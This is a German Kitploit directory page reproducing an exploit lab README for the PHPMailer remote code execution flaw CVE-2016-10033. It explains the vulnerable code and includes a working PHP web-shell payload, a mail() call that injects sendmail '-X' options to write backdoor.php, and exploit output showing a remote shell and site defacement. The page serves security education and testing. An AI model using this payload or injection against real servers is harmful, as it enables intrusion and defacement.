Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
opsxcq-cve-2016-10033 — Um das CTFS.me-Problem zu lösen | Kitploit
Tools/GitHubGitHub/awidardi/opsxcq-cve-2016-10033
SchwachstellenanalyseExploitationWebanwendungs-ExploitationCTFPenetrationstestsLernen & BildungPayload-EntwicklungLabs & Praxis
GitHubawidardi/opsxcq-cve-2016-10033

opsxcq-cve-2016-10033

Um das CTFS.me-Problem zu lösen

Repository anzeigen
1vor 8 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

PHPMailer < 5.2.18 Remote Code Execution

Docker Pulls License

PHPMailer ist die weltweit beliebteste Transportklasse mit geschätzten 9 Millionen Nutzern weltweit. Die Downloads gehen täglich in signifikantem Tempo weiter. Wird von vielen Open-Source-Projekten verwendet: WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla! und viele mehr.

PHPMailer vor Version 5.2.18 leidet unter einer Sicherheitslücke, die zu einer Remote Code Execution (RCE) führen kann. Die Funktion mailSend im isMail-Transport in PHPMailer erlaubt es Angreifern, wenn die Eigenschaft Sender nicht gesetzt ist, möglicherweise zusätzliche Parameter an den mail-Befehl zu übergeben und dadurch beliebigen Code über ein " (Backslash-Anführungszeichen) in einer manipulierten From-Adresse auszuführen.

Verwundbare Umgebung

Um eine verwundbare Umgebung für Ihren Test einzurichten, benötigen Sie Docker und führen Sie einfach den folgenden Befehl aus:

root@kitploit:~
docker run --rm -it -p 8080:80 vulnerables/cve-2016-10033

Dadurch wird eine verwundbare Webanwendung auf Ihrem Host auf Port 8080 gestartet.

verwundbar

Exploit

Um dieses Ziel auszunutzen, führen Sie einfach aus:

root@kitploit:~
./exploit host:port

Wenn Sie dieses verwundbare Image verwenden, können Sie einfach ausführen:

root@kitploit:~
./exploit localhost:8080

Nach der Ausnutzung wird eine Datei namens backdoor.php im Stammverzeichnis des Webverzeichnisses gespeichert. Der Exploit öffnet eine Shell, über die Sie Befehle an die Backdoor senden können:

root@kitploit:~
./exploit.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Running whoami
www-data
RemoteShell> 

Und das war’s, Sie haben Ihre Shell. Es gibt einen weiteren Exploit, der einen anderen Anwendungsfall veranschaulicht.

root@kitploit:~
./deface.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Placing your message in the server
[+] Job done, exiting

Und wenn Sie die Seite erneut besuchen, sehen Sie Folgendes:

defaced

Verwundbarer Code

Vor diesem Commit in class.phpmailer.php gibt es in einem bestimmten Szenario keinen Filter für Sonderzeichen in der E-Mail-Adresse des Absenders. Diese Schwachstelle kann zu einer Remote Code Execution über die mail-Funktion hier führen.

Bei der Analyse des Codes gibt es keinen Filter in der Funktion mailSend()

root@kitploit:~
        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender)) {
            $params = sprintf('-f%s', $this->Sender);
        }

$this->Sender wird direkt an die Variable $params angehängt, die in der Funktion validateAddress() gefiltert wurde. Da diese jedoch die RFC-3696-Spezifikation verwendet, erlaubt sie bestimmte Zeichen, die Probleme verursachen. In diesem Fall Anführungszeichen:

In addition to quoting using the backslash character, conventional double-quote characters may be used to surround strings. For example

"Abc@def"@example.com

"Fred Bloggs"@example.com

are alternate forms of the first two examples above. These quoted forms are rarely recommended, and are uncommon in practice, but, as discussed above, must be supported by applications that are processing email addresses. In particular, the quoted forms often appear in the context of addresses associated with transitions from other systems and contexts; those transitional requirements do still arise and, since a system that accepts a user-provided email address cannot "know" whether that address is associated with a legacy system, the address forms must be accepted and passed into the email environment.

Sie können die gesamte RFC hier lesen, wenn Sie möchten. Wenn die PHP-Version älter als 5.2.0 ist und PCRE nicht installiert ist, wird die Variable $patternselect in validateAddress() auf noregex gesetzt. Dadurch kann die Eingabe jede Regex-Überprüfung umgehen. Sie durchläuft nur eine kleine Überprüfung:

root@kitploit:~
            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);

Dann geht der Codefluss zur Funktion mailPassthru(), die, wenn sie im safe_mode läuft, nicht für diese Schwachstelle anfällig ist, wie der folgende Code zeigt:

root@kitploit:~
        //Can't use additional_parameters in safe_mode
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }

Wenn sie jedoch nicht im safe_mode läuft, wird unser spezieller Parameter an mail() übergeben und, wenn wir Glück haben, wird unsere Datei, die enthält, was auch immer wir wollen, dort geschrieben, wo wir es haben möchten.

Anmerkungen zur Ausnutzung der PHP mail()-Funktion

Die Ausnutzung der PHP mail()-Funktion ist nichts Neues, aber sie ist immer noch aktuell und wird weiterhin verwendet. Um zu erklären, wie es funktioniert, schauen wir uns an, wie die mail()-Funktion definiert ist:

root@kitploit:~
bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )

Es gibt verschiedene Ausnutzungsmethoden für unterschiedliche Ergebnisse; wir konzentrieren uns auf die Ausnutzung des 5. Parameters, um eine Remote Code Execution (RCE) zu erreichen. Der Parameter $additional_parameters wird verwendet, um zusätzliche Flags als Kommandozeilenoptionen an das Programm zu übergeben, das zum Senden der E-Mail konfiguriert ist. Diese Konfiguration wird durch die Variable sendmail_path definiert.

Ein Sicherheitshinweis aus der offiziellen PHP-Dokumentation:

The additional_parameters parameter can be used to pass additional flags as command line options to the program configured to be used when sending mail, as defined by the sendmail_path configuration setting. For example, this can be used to set the envelope sender address when using sendmail with the -f sendmiail option.

This parameter is escaped by escapeshellcmd() internally to prevent command execution. escapeshellcmd() prevents command execution, but allows to add additional parameters. For security reasons, it is recommended for the user to sanitize this parameter to avoid adding unwanted parameters to the shell command.

Unter Berücksichtigung der zusätzlichen Parameter, die injiziert werden können, verwenden wir -X, um diese Schwachstelle auszunutzen. Mehr zum Parameter -X:

root@kitploit:~
-X logfile
Log all traffic in and out of mailers in the indicated log file. This should only be used as a last resort for debugging mailer bugs. It will log a lot of data very quickly.

Es gibt auch einige andere interessante Parameter, die Sie kennen sollten:

root@kitploit:~
-Cfile
Use alternate configuration file. Sendmail gives up any enhanced (set-user-ID or set-group-ID) privileges if an alternate configuration file is specified.

Und

root@kitploit:~
-O option=value
Set option option to the specified value. This form uses long names.

Und für die Option -O ist QueueDirectory die interessanteste Option; diese Option wählt das Verzeichnis aus, in dem Nachrichten in die Warteschlange gestellt werden.

Wenn Sie die gesamte Liste der Parameter und Optionen lesen möchten, geben Sie einfach man sendmail ein oder lesen Sie sie online hier.

Basierend auf diesen Informationen und der Fähigkeit, mindestens einen der anderen Parameter zu kontrollieren, können wir den Host ausnutzen. Nachfolgend die Schritte für eine erfolgreiche Ausnutzung:

  • Kontrollieren Sie $additional_parameters und einen weiteren Parameter von mail()
  • Kennen Sie ein beschreibbares Verzeichnis auf dem Zielsystem, das über das Zielsystem und den Benutzer (z. B. www-data) zugänglich ist. Normalerweise kann dies ein beliebiges Verzeichnis unterhalb des webroot sein (z. B. /var/www/html für andere Systeme, /www für dieses Beispiel).
  • Beliebigen PHP-Payload, den Sie möchten; wir verwenden in diesem Beispiel einen einfachen system()-Payload, mit einer Prise base64 und einigen Sonderzeichen |, um das Parsen zu erleichtern.
  • Setzen Sie alles zusammen!

Denken Sie daran, dass die Option -X die Logdatei schreibt, die neben den Loginformationen auch Ihren PHP-Payload in dem von Ihnen angegebenen Verzeichnis enthält. Ein Beispiel für einen verwundbaren PHP-Code:

root@kitploit:~
$to = '[email protected]';
$subject = '<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>';
$message = 'Pwned';
$headers = '';
$options = '-OQueueDirectory=/tmp -X/www/backdoor.php';
mail($to, $subject, $message, $headers, $options);

Wenn Sie den obigen Code ausführen, wird eine Logdatei in /www/backdoor.php erstellt – das ist die Essenz dieses Exploits.

Payload

Nachfolgend der in diesem Beispiel verwendete Payload:

root@kitploit:~
<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>

Wie finde ich solche Fehler?

Möchten Sie einen einfachen Ein-Befehl-Weg, um diese Schwachstelle zu erkennen? Merken Sie sich diesen magischen grep-Befehl!

root@kitploit:~
grep -r -n --include "*.php" "mail(.*,.*,.*,.*,.*)" *

Die Ausführung gegen dieses Repository ergibt:

root@kitploit:~
src/class.phpmailer.php:700:            $result = @mail($to, $subject, $body, $header, $params);

Credits

Diese Sicherheitslücke wurde von Dawid Golunski entdeckt.

Haftungsausschluss

Dieses oder frühere Programme dienen NUR zu Bildungszwecken. Verwenden Sie es nicht ohne Erlaubnis. Der übliche Haftungsausschluss gilt, insbesondere dass ich (opsxcq) nicht haftbar bin für Schäden, die durch direkte oder indirekte Nutzung der Informationen oder Funktionalität dieser Programme entstehen. Der Autor oder irgendein Internetanbieter übernimmt KEINE Verantwortung für den Inhalt oder Missbrauch dieser Programme oder ihrer Ableitungen. Durch die Nutzung dieser Programme akzeptieren Sie die Tatsache, dass jeglicher Schaden (Datenverlust, Systemabsturz, Systemkompromittierung usw.), der durch die Nutzung dieser Programme verursacht wird, nicht in der Verantwortung von opsxcq liegt.

Tool herunterladen